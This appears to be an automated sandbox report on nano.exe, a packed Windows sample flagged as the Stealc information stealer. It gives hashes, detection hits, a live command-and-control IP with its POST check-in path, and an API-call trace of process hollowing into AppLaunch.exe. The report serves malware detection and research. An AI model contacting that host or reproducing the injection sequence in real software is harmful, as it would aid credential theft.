popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

nano.exe

UPX Malicious Library AntiDebug PE File OS Processor Check PE32 AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 6, 2023, 7:47 a.m. Oct. 6, 2023, 7:58 a.m.
Size 1.7MB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 501bd8c4a18e386f240b6d77d388cbb3
SHA256 28682b28680d4aca937081f79e939f7a14cdb18ba033c52f4c8f0f63ee0db9cb
CRC32 E87C24EF
ssdeep 24576:XFxY5A0vimILMPcVZT6gH/A2Z46a9DhvhTTwFSMHTf:XP0vimILMP4l6SAO46a3v9wYMHTf
PDB Path C:\ymz8f7ycg1\Teleg.pdb
Yara
  • Malicious_Library_Zero - Malicious_Library
  • UPX_Zero - UPX packed file
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • OS_Processor_Check_Zero - OS Processor Check

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
5.42.92.211 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49165 -> 5.42.92.211:80 2047625 ET MALWARE [ANY.RUN] Win32/Stealc Checkin (POST) A Network Trojan was detected
TCP 192.168.56.103:49165 -> 5.42.92.211:80 2018358 ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 Potentially Bad Traffic

Suricata TLS

No Suricata TLS

pdb_path C:\ymz8f7ycg1\Teleg.pdb
section .inter
section .00cfg
packer Microsoft Visual C++ V8.0 (Debug)
suspicious_features POST method with no referer header, Connection to IP address suspicious_request POST http://5.42.92.211/loghub/master
request POST http://5.42.92.211/loghub/master
request POST http://5.42.92.211/loghub/master
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2400
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75931000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2400
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x76e01000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2400
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x752e1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2400
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73f81000
process_handle: 0xffffffff
1 0 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
host 5.42.92.211
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2400
region_size: 163840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000098
1 0 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ў •ÿmY•ÿmY•ÿmYFnX™ÿmYFhXÿmYFiXÿmY1Y—ÿmY1hX³ÿmY1iX„ÿmY1nXÿmYFlX–ÿmY•ÿlYÅÿmY€dX…ÿmY€’Y”ÿmY€oX”ÿmYRich•ÿmYPEL¿Æeà $¬–AÀ@€@Ì(Pà`ä0p@À.textB«¬ `.rdata¤aÀb°@@.dataØ0 @À.rsrcàP@@.relocä`@B
base_address: 0x00400000
process_identifier: 2400
process_handle: 0x00000098
1 1 0

WriteProcessMemory

 buffer: ÿÿÿÿ±¿DNæ@»ÿÿÿÿ “ ÿÿÿÿ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ¤`‚y‚!¦ß¡¥Ÿàü@~€ü¨Á£Ú£ þ@þµÁ£Ú£ þAþ¶Ï¢ä¢å¢è¢[þ@~¡þQQÚ^Ú _ÚjÚ2ÓØÞàù1~þxÚA@6B@6B@6B@6B@6BH6BøÜAxÞA¸ÔA€5B`0BC˜6B¸BB¸BB¸BB¸BB¸BB¸BB¸BB¸BB¸BBœ6B¼BB¼BB¼BB¼BB¼BB¼BB¼BB..þÿÿÿ   þÿÿÿu˜ÿÿÿÿlB.?AVbad_exception@std@@lB.?AVexception@std@@lB.?AVtype_info@@
base_address: 0x00423000
process_identifier: 2400
process_handle: 0x00000098
1 1 0

WriteProcessMemory

 buffer: €0€ H`P}<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly>
base_address: 0x00425000
process_identifier: 2400
process_handle: 0x00000098
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0xfffde008
process_identifier: 2400
process_handle: 0x00000098
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ў •ÿmY•ÿmY•ÿmYFnX™ÿmYFhXÿmYFiXÿmY1Y—ÿmY1hX³ÿmY1iX„ÿmY1nXÿmYFlX–ÿmY•ÿlYÅÿmY€dX…ÿmY€’Y”ÿmY€oX”ÿmYRich•ÿmYPEL¿Æeà $¬–AÀ@€@Ì(Pà`ä0p@À.textB«¬ `.rdata¤aÀb°@@.dataØ0 @À.rsrcàP@@.relocä`@B
base_address: 0x00400000
process_identifier: 2400
process_handle: 0x00000098
1 1 0
Process injection Process 2344 called NtSetContextThread to modify thread in remote process 2400
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2005598660
registers.esp: 3997188
registers.edi: 0
registers.eax: 4198977
registers.ebp: 0
registers.edx: 0
registers.ebx: -139264
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000094
process_identifier: 2400
1 0 0
Process injection Process 2344 resumed a thread in remote process 2400
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000094
suspend_count: 1
process_identifier: 2400
1 0 0
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2404
thread_handle: 0x00000094
process_identifier: 2400
current_directory:
filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
track: 1
command_line:
filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000098
1 1 0

NtGetContextThread

 thread_handle: 0x00000094
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2400
region_size: 163840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000098
1 0 0

WriteProcessMemory

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ў •ÿmY•ÿmY•ÿmYFnX™ÿmYFhXÿmYFiXÿmY1Y—ÿmY1hX³ÿmY1iX„ÿmY1nXÿmYFlX–ÿmY•ÿlYÅÿmY€dX…ÿmY€’Y”ÿmY€oX”ÿmYRich•ÿmYPEL¿Æeà $¬–AÀ@€@Ì(Pà`ä0p@À.textB«¬ `.rdata¤aÀb°@@.dataØ0 @À.rsrcàP@@.relocä`@B
base_address: 0x00400000
process_identifier: 2400
process_handle: 0x00000098
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00401000
process_identifier: 2400
process_handle: 0x00000098
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0041c000
process_identifier: 2400
process_handle: 0x00000098
1 1 0

WriteProcessMemory

 buffer: ÿÿÿÿ±¿DNæ@»ÿÿÿÿ “ ÿÿÿÿ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ¤`‚y‚!¦ß¡¥Ÿàü@~€ü¨Á£Ú£ þ@þµÁ£Ú£ þAþ¶Ï¢ä¢å¢è¢[þ@~¡þQQÚ^Ú _ÚjÚ2ÓØÞàù1~þxÚA@6B@6B@6B@6B@6BH6BøÜAxÞA¸ÔA€5B`0BC˜6B¸BB¸BB¸BB¸BB¸BB¸BB¸BB¸BB¸BBœ6B¼BB¼BB¼BB¼BB¼BB¼BB¼BB..þÿÿÿ   þÿÿÿu˜ÿÿÿÿlB.?AVbad_exception@std@@lB.?AVexception@std@@lB.?AVtype_info@@
base_address: 0x00423000
process_identifier: 2400
process_handle: 0x00000098
1 1 0

WriteProcessMemory

 buffer: €0€ H`P}<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly>
base_address: 0x00425000
process_identifier: 2400
process_handle: 0x00000098
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00426000
process_identifier: 2400
process_handle: 0x00000098
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0xfffde008
process_identifier: 2400
process_handle: 0x00000098
1 1 0

NtSetContextThread

 registers.eip: 2005598660
registers.esp: 3997188
registers.edi: 0
registers.eax: 4198977
registers.ebp: 0
registers.edx: 0
registers.ebx: -139264
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000094
process_identifier: 2400
1 0 0

NtResumeThread

 thread_handle: 0x00000094
suspend_count: 1
process_identifier: 2400
1 0 0